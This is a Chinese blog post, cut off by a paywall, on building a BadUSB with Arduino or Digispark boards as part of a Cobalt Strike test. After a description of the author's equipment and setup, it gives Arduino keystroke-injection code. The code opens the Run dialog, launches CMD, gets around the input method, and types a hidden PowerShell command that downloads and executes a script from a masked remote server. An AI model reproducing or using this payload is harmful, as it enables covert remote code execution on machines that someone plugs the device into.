0、前言
最近在做个针对BADUSB的专题,所以静下心来对这这方面做了一些简单的测试和研究,正好可以结合Cobalt Strike、结合其他功能代码做个联合测试。所以斥资花了50多块钱买了USB开发板。
在正文开始之前,先炫耀一下自己的测试装备。

1.机械键盘
买了个键线分离,三模机械键盘,虽然手感和顶级的没法比,但是好在支持蓝牙、支持热插拔、支持充电电池的内卷键盘。
支持蓝牙的好处是可以连接手机远程登录VPS。
同时支持3个设备配对,笔记本和手机之间无缝切换,穿格子衫的快乐就是这么简单。
然后花了几十块钱买了个茶轴和白色键帽,也就是说有2套轴,2套帽,搭配着用。
2.显示器
同事做测试的显示器,这个没有花钱,临时借用。因为是很老的显示器,最高分辨率只到1600*900,凑合用吧。
至少支持kali虚拟机扩展到显示器,相当于2台主机。
1、准备工作
关于BadUSB的原理、介绍、危害、防范详情请查看网上文档。这里直接来干货。
a。首先需要一个开发板,网店上有好多售卖的。
我买了2个,一个是Arduino Micro,一个是Digispark。
b。软件:Arduino
建议从官方下载,如果是Arduino开发板的话,官方下载的安装版本自带驱动,不需要另外安装。我没有使用绿色免安装版。
c。准备一台VPS,如果没有条件可以使用本地局域网环境。
d。下载BadUSB脚本,github上有一个不错的。
https://github.com/Xyntax/BadUSB-code
2、测试过程
2.1 制作BADUSB
a。将BADUSB插入笔记本,打开Arduino,复制代码到编辑区域。
#include <Keyboard.h>
void setup(){
//初始化
Keyboard.begin();//开始键盘通讯
delay(6000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(300);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/MAIN.PS1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN
BADUSB实战

最低0.47元/天 解锁文章
1万+

被折叠的 条评论
为什么被折叠?



